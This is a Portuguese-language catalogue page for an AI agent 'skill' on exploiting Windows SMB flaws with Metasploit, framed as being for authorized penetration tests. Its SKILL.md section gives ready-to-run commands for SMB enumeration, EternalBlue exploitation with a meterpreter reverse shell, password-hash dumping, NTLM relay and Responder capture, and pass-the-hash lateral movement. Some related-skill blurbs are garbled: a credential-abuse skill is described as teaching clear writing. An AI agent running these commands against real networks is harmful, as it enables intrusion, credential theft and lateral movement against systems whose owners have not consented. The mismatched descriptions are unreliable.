exploiting-smb-vulnerabilities-with-metasploit
Faz seu agente identificar e explorar vulnerabilidades do protocolo SMB usando o Metasploit Framework.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sistemas Windows que usam o protocolo SMB. Ela é usada para testar se as defesas da rede estão funcionando e para mostrar os riscos de sistemas desatualizados.
Quando usar
- ✓Testar a segurança de sistemas Windows contra falhas conhecidas.
- ✓Demonstrar como um invasor pode se mover pela rede usando credenciais roubadas.
- ✓Verificar se as atualizações de segurança foram aplicadas corretamente.
Exemplo do que pedir para a IA
“Quais falhas de segurança no SMB existem no meu servidor 192.168.1.10?”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ela usa um programa chamado Metasploit para procurar por vulnerabilidades específicas no protocolo SMB. Se encontrar uma falha, ela tenta explorá-la para obter acesso ao sistema.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-smb-vulnerabilities-with-metasploitOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades SMB com Metasploit
Quando Usar
- Testar sistemas Windows para vulnerabilidades SMB críticas (EternalBlue, EternalRomance, PrintNightmare) durante testes de penetração autorizados
- Demonstrar riscos de movimento lateral via SMB relay, pass-the-hash e credential spraying
- Validar que os processos de gerenciamento de patches abordaram vulnerabilidades SMB conhecidas
- Avaliar a aplicação de assinatura SMB e as configurações de permissão de compartilhamento em todo o domínio
- Testar a segmentação de rede tentando exploração SMB através de limites de VLAN
Não use contra sistemas sem autorização escrita explícita, contra controladores de domínio de produção sem uma janela de manutenção, ou para implantar backdoors persistentes além do escopo da avaliação.
Pré-requisitos
- Metasploit Framework 6.x instalado (
msfconsole --version) - Documento de escopo de teste de penetração autorizado listando os intervalos de IP de destino e os tipos de ataque aprovados
- Acesso de rede aos serviços SMB de destino (TCP 445, TCP 139)
- Ferramentas CrackMapExec e Impacket instaladas para testes SMB complementares
- Credenciais de teste válidas ou listas de palavras de credenciais aprovadas para o engajamento
- Kali Linux ou plataforma de teste equivalente
Fluxo de Trabalho
Passo 1: Enumerar Serviços e Versões SMB
# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24
# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24
# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt
# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing
# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares
Passo 2: Escanear Vulnerabilidades SMB Conhecidas
# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run
# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run
# Check for SMBGhost (CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24
# Check for PrintNightmare (CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare
Passo 3: Explorar EternalBlue (MS17-010)
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit
# Post-exploitation -- verify access level
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM
meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump
Passo 4: Realizar Ataque SMB Relay
# Identify hosts without SMB signing (from Step 1)
# Set up NTLM relay with Impacket
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i
# Trigger authentication from a compromised host or via phishing
# From Meterpreter session on a compromised host:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password
# Or use Metasploit's SMB relay module
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit
# Use responder to capture NTLM hashes for offline cracking
sudo responder -I eth0 -wrfv
Passo 5: Pass-the-Hash e Movimento Lateral via SMB
# Extrair hashes do sistema comprometido
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# Usar pass-the-hash com CrackMapExec
crackmapexec smb 10.10.0.0/24 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 --shares
# Executar comandos via pass-the-hash
crackmapexec smb 10.10.5.30 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"
# Usar Impacket psexec para shell interativo
impacket-psexec Administrator@10.10.5.30 \
…
Perguntas frequentes
O que é SMB?
SMB é um protocolo de rede usado principalmente pelo Windows para compartilhar arquivos, impressoras e outros recursos entre computadores.
O que é Metasploit?
Metasploit é uma ferramenta poderosa usada por profissionais de segurança para testar e explorar vulnerabilidades em sistemas de computador.
É seguro usar esta ferramenta?
Esta ferramenta só deve ser usada em testes de penetração autorizados e em sistemas que você tem permissão para testar. Usá-la sem permissão é ilegal.
Detalhes
Descrição original do autor
Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5759
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC